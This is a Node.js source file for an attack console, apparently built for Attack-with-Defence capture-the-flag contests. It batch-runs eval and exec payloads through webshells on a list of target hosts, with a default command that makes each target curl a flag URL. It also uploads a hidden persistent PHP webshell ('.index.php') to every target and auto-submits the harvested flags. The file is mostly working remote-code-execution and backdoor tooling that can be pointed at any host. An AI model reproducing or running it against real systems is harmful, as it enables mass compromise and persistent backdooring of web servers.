#!/usr/bin/env node
require('PhoenixNirvana');

// todo: exception, webshell one, cron, flag autosave

const
	readlineSync = require('readline-sync'),
	EventEmitter = require('events'),
	fs = require('fs'),
	qs = require('querystring'),
	path = require('path'),
	colors = require('colors'),
	ansi = require('ansi'),
	esprintf = require('esprintf'),
	request = require('superagent'),
	_ = require('lodash'),
	uuid = require('uuid/v1'),
	util = require('util');

const
	cursor = ansi(process.stdout);

require('superagent-proxy')(request);
require('superagent-charset')(request);

process.on('uncaughtException', function (err) {
	console.log('Caught exception: ' + err);
});

process.on('SIGINT', function(){
	console.log('exit?');
});

function parseCl(cl) {
	var reToken = new RegExp(/(\s*)(?:("|')(.*?)(?:\2|$)|(\S+))/g), matches,
		taken = '', args = [], part;
	if (typeof cl === 'string') cl = cl.trim();
	while ((matches = reToken.exec(cl))) {
		part = matches[3] || matches[4] || '';
		if (matches[1]) {
			args.push(taken);
			taken = '';
		}
		taken += part;
	}
	if (taken) { args.push(taken); }
	return args;
}
var ep = new EventEmitter();

class Console {
	options = {prompt: '# '};
	readOptions = {prompt: this.options.prompt};
	targets = [];
	webshells = [];
	flags = [];
	
	token = '';
	submitflagurl = '';
	getflagurl = '';
	exec_str = 'curl {{getflagurl}}';
	eval_str = "ob_clean();echo file_get_contents('{{getflagurl}}');";
	timeout = 5000;
	shellname = '.index.php';

	tmpl = new nirvana.Template();
	constructor(){
		console.log('--- Attack with Defence Framework ---');
	}
	prompt(){
		this.readOptions.prompt = this.options.prompt;
	}
	async help(){
		console.log(`
help|h|?                                                帮助
exit                                                    退出控制台
save                                                    保存数据到awd.json
load                                                    载入awd.json数据
clear                                                   清除内存数据
info                                                    显示其他参数
saveinfo                                                保存其他参数到config.json
run <target> <webshell id>                              执行指定目标指定webshell
batrun                                                  自动执行(全目标、全webshell遍历)
target|ip                                               显示目标清单
target|ip add <ip|host>                                 增加目标
target|ip del <ip|host>                                 删除目标
target|ip clear                                         清除目标
target|ip run <webshell id>                             指定目标遍历运行所有webshell
target|ip toggle                                        切换状态
webshell|ws                                             显示webshell
webshell|ws add <uri> <get|post> <pwd> <eval|exec>      增加webshell
webshell|ws load                                        载入webshell (自动保存的webshells.json)
webshell|ws del <id>                                    删除webshell
webshell|ws clear                                       清除webshell
webshell|ws run <ip|host>                               指定webshell遍历运行所有目标
upload [webshell path]                                  上传不死马，并自动添加到webshell
cron <minutes>                                          定时执行flag get & flag submit
flag                                                    显示获取到的flag
flag add <flag>                                         增加flag
flag load                                               载入flag (自动保存的flags.json)
flag clear                                              清除flag
flag submit                                             提交flag
set getflag <value>                                     设置getflagurl
set submitflag <value>                                  设置submitflagurl
set token <value>                                       设置token
set exec <value>                                        设置exec string
set eval <value>                                        设置eval string
`);
	}
	async runHandler(target, ws, codestring){
		return new Promise( async (resolve, reject) => {
			if (target.state === false) {
				reject('target state deny.');
				return;
			}

			if (!_.find(target.webshells, {id: ws.id})) {			

				let txt = '';

				if (this.getflagurl === '') {
					reject('please first set getflag url');
					return;
				}
				if (ws.type === 'eval') txt = this.tmpl.render(codestring||ws.code||this.eval_str, {getflagurl: this.getflagurl});
				else if (ws.type === 'exec') txt = this.tmpl.render(codestring||ws.cmd||this.exec_str, {getflagurl: this.getflagurl});

				console.log(`${ws.method.toUpperCase()} ${target.id}${ws.uri} ${txt}`);
				let req = request(ws.method, `${target.id}${ws.uri}`)
					.timeout({
						response: this.timeout,
						deadline: this.timeout
					})
					//.proxy('http://127.0.0.1:8888');
				if (/get/i.test(ws.method)) {
					req.query(`${ws.pwd}=${txt}`);
				}
				else if (/post/i.test(ws.method)) {
					req.send(`${ws.pwd}=${txt}`);
				}
				await req.then(res => {
					if (res.ok) {
						if (res.text.trim() !== '') {
							console.log(res.text);
							if (_.find(this.flags, {flag: res.text})) console.log('已存在');
							else {
								this.flags.push({id: uuid(), flag: res.text, time: new Date(), submitted: false});
								fs.writeFileSync('flags.json', JSON.stringify(this.flags, null, 4)); // autosave
							}
							resolve(res);
						} else reject('get flag empty.');
					}
					else {
						target.webshells.push({id: ws.id, valid: false});
						reject('res not ok');
					}
				}).catch(err => {
					reject(err.message);
				})
			} else reject('webshell is invalid.');
		})
	}
	async targetHandler(args){
		switch(args[0]){
			case 'add':
				if (args.length>1) {
					if (_.find(this.targets, {id: args[1]}))
						console.error('already exists.');
					else
						this.targets.push({id: args[1]});
				}
				break;
			case 'del':
				if (args.length>1) {
					_.remove(this.targets, item => item.id === args[1]);
				}
				break;
			case 'clear':
				this.targets = [];
				break;
			case 'toggle':
				if (args.length>1) {
					let target = _.find(this.targets, {id: args[1]});
					if (target) {
						target.state = (typeof target.state === 'undefined' || target.state)?false:true;
					} else {
						console.error('target is not exists');
					}
				}
				break;
			case 'run':
				if (args.length<2) {
					console.log('usage: ip run 192.168.1.2');
					return;
				}
				// 根据webshell清单批量运行指定target
				let target = _.find(this.targets, {id: args[1]});
				if (target) {
					//let ws = _.find(this.webshells, {id: args[2]});
					for(let ws of this.webshells) {
						await this.runHandler(target, ws);
					}
				} else console.error('target not found.');
				break;
			default:
				console.log(this.targets);
				break;
		}
	}
	async webshellHandler(args){
		switch(args[0]){
			case 'add':
				if (args.length>1) {
					if (_.find(this.webshells, {id: args[1]}))
						console.error('already exists.');
					else {
						this.webshells.push({id: uuid(), uri: args[1], method: args[2], pwd: args[3], type: args[4]});
						fs.writeFileSync('./webshells.json', JSON.stringify(this.webshells, null, 4));
					}
				}
				break;
			case 'del':
				if (args.length>1) {
					_.remove(this.webshells, item => item.id === args[1]);
				}
				break;
			case 'clear':
				this.webshells = [];
				break;
			case 'load':
				this.webshells = JSON.parse(fs.readFileSync('./webshells.json').toString());
				break;
			case 'run':
				// 根据target清单批量运行指定webshell
				if (args.length<2) {
					console.log('usage: ws run a31b0d90-05da-11ea-bf04-530e34712d94');
					return;
				}
				let ws = _.find(this.webshells, {id: args[1]});
				if (ws) {
					for(let target of this.targets){
						await this.runHandler(target, ws);
					}
				} else console.error('webshell not found.');
				break;
			default:
				console.log(this.webshells);
				break;
		}
	}
	async flagHandler(args){
		switch(args[0]){
			case 'add':
				if (args.length>1) {
					if (_.find(this.flags, {flag: args[1]}))
						console.error('already exists.');
					else
						this.flags.push({id: uuid(), flag: args[1], time: new Date()});
				}
				break;
			case 'del':
				if (args.length>1) {
					_.remove(this.flags, item => {return item.id === args[1] || item.flag === args[1]});
				}
				break;
			case 'clear':
				this.flags = [];
				break;
			case 'url':
				this.flagurl = args[1];
				console.log(this.flagurl);
				break;
			case 'get':
				await this.batrun();
				break;
			case 'load':
				this.flags = JSON.parse(fs.readFileSync('./flag.json').toString());
				break;
			case 'submit':
				if (this.flagurl === '' || this.token === '') {
					console.error('flag url or token not set');
					return;
				}
				console.log('start submitt...');
				for(let flag of this.flags) {
					if (!flag.submitted) {
						process.stdout.write(flag.flag);
						await request.get(this.submitflagurl)
							//.proxy('http://127.0.0.1:8888')
							.query({
								token: this.token,
								flag: flag.flag
							})
							.then(res => {
								// set flag submitted
								console.log(' OK'.green.bold);
								if (res.ok) flag.submitted = true;
							})
							.catch(err => {
								console.log(' ' + err.message.red.bold);
							})
					}
				}
				break;
			default:
				console.log(this.flags);
				break;
		}
	}
	setHandler(name, value){
		switch(name){
			case 'getflag':
				this.getflagurl = value;
				break;;
			case 'submitflag':
				this.submitflagurl = value;
				break;
			case 'token':
				this.token = value;
				break;
			case 'exec':
				this.exec_str = value;
				break;
			case 'eval':
				this.eval_str = value;
				break;
			default:
				break;
		}
	}
	async batrun(){
		for(let target of this.targets){
			if (target.state === false) continue;
			for(let ws of this.webshells){
				try {
					await this.runHandler(target, ws);
					break;
				} catch(err) {
					console.error(err);
				}
			}
		}
	}
	async uploadHandler(webshell, path=''){
		if (!webshell) {
			console.log('use default webshell: shell.php');
			webshell = 'shell.php';
		}
		for(let target of this.targets){
			if (target.state === false) continue;
			for(let ws of this.webshells){
				let url = `${target.id}${ws.uri}`,
					shellname = this.shellname,
					txt = '';
				if (ws.type === 'eval') txt = `move_uploaded_file($_FILES['file']['tmp_name'], '${path}${shellname}');echo 'upload end.';`;
				else if (ws.type === 'exec') txt = 'echo "' + fs.readFileSync(webshell).toString().trim() + `" > ${path}${shellname}`;
				// console.log(txt);
				let req = request.post(url)
					// .proxy('http://127.0.0.1:8888')

				if (ws.type === 'eval') 
					req.attach('file', webshell)
						.field(ws.pwd, txt)
				else if (ws.type==='exec')
					req.send(`${ws.pwd}=${txt}`)
				
				let result = await req.then(async res => {
					console.log(res.text);
					await request.get(`${url}/${path}${shellname}`);
					return true;
				})
				if (result) break;
			}
		}
	}
	start(){
		ep.on('prompt',async () => {
			let input = readlineSync.prompt(this.readOptions).trim();
			let args = parseCl(input);
			if (args.length == 0) {
				ep.emit('prompt');
				return;
			}
			let r;
			switch(args[0]){
				case 'exit':
					process.exit();
					break;
				case 'info':
					console.log('token'.cyan.bold, this.token);
					console.log('get flag url'.cyan.bold, this.getflagurl);
					console.log('submit flag url'.cyan.bold, this.submitflagurl);
					console.log('exec string'.cyan.bold, this.exec_str);
					console.log('eval string'.cyan.bold, this.eval_str);
					console.log('timeout'.cyan.bold, this.timeout);
					console.log('shellname'.cyan.bold, this.shellname);
					break;
				case 'saveinfo':
					fs.writeFileSync('./config.json', JSON.stringify({
						getflagurl: this.getflagurl,
						submitflagurl: this.submitflagurl,
						token: this.token,
						exec_str: this.exec_str,
						eval_str: this.eval_str,
						timeout: this.timeout,
						shellname: this.shellname
					}, null, 4));
					break;
				case '?':
				case 'h':
				case 'help':
					await this.help(args.slice(1));
					break;
				case 'ip':
				case 'target':
					await this.targetHandler(args.slice(1));
					break;
				case 'ws':
				case 'webshell':
					await this.webshellHandler(args.slice(1));
					break;
				case 'flag':
					await this.flagHandler(args.slice(1));
					break;
				case 'run':
					let _args = args.slice(1);
					if (_args.length<2) {
						console.log('usage: run <ip|host> <webshell id>');
					} else {
						let target = _.find(this.targets, {id: _args[0]}),
							ws = _.find(this.webshells, {id: _args[1]});
						if (target && ws) await this.runHandler(target, ws);
						else console.error('target or webshell is not exists.');
					}
					break;
				case 'batrun':
					await this.batrun();
					break;
				case 'save':
					let buf1 = {targets: this.targets, webshells: this.webshells, flags: this.flags};
					fs.writeFileSync('./awd.json', JSON.stringify(buf1, null, 4));
					break;
				case 'load':
					let buf2 = JSON.parse(fs.readFileSync('./awd.json').toString());
					this.targets = buf2.targets;
					this.webshells = buf2.webshells;
					this.flags = buf2.flags;
					break;
				case 'clear':
					this.targets = [];
					this.webshells = [];
					this.flags = [];
					break;
				case 'set':
					this.setHandler(...args.slice(1));
					break;
				case 'upload':
					await this.uploadHandler(...args.slice(1));
					break;
				default:
					console.log(`Unknown command: ${args[0]}`);
					break;
			}
			ep.emit('prompt'); // loop
		})
		ep.emit('prompt'); // first
	}
}

let _console = new Console();

let config = require('./config.json');
_console.getflagurl = config.getflagurl;
_console.submitflagurl = config.submitflagurl;
_console.token = config.token;
_console.exec_str = config.exec_str||"curl {{getflagurl}}";
_console.eval_str = config.eval_str||"ob_clean();echo file_get_contents('{{getflagurl}}');";
_console.timeout = config.timeout||5000;
_console.shellname = config.shellname||'.index.php';

try {
	_console.start();
} catch(err) {
	console.error(err);
	ep.emit('prompt');
}
